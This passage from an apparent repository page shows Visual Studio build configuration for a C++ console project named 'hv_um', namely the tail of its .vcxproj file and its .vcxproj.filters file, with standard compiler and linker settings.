<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="hv_um.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
```
|
||||
|
||||
`hv_um.vcxproj.filters`:
|
||||
|
||||
```filters
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="hv_um.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
```
|
||||
Reference in New Issue
Block a user